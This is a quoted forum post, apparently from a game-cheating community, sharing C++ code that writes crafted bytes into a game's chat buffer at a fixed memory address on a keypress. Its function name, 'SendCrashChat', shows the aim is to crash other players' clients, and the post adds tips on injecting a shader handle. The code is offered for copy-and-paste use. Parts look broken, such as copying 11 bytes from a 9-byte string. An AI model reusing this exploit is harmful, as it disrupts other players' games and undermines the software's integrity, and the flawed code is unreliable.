[QUOTE=mwxplayer;7220192].-. Does it matter's to do a useless post ? [COLOR="Silver"]
I didn't use SendCommandToConsole. That was direct Copying to chat.
Go Copy And Paste:
Code:
void SendCrashChat()
{
BYTE* X = (BYTE*)"\x5E\x02\xFF\xFF\x0D\x5E\x02\xFF\xFF"; //0x0D Restarts the line. 0x0A Is the equivilent of "\n"
int Shader = R_RegisterShader("compassping_player");
if(GetAsyncKeyState(VK_F10)&0x1)
{
for(int i=0; i<11; i++)
*(BYTE*)(0x00B3A284 + i) = *(X+i);
}
}
Now figure our how to print the shader. Might wanna put the first byte as 5E.
Like this:
Code:
BYTE* Shift = (BYTE*)"\x5E";
*(BYTE*)0x00B3A284 = Shift;
*(int*)(0x00B3A284 + 1) = Shader;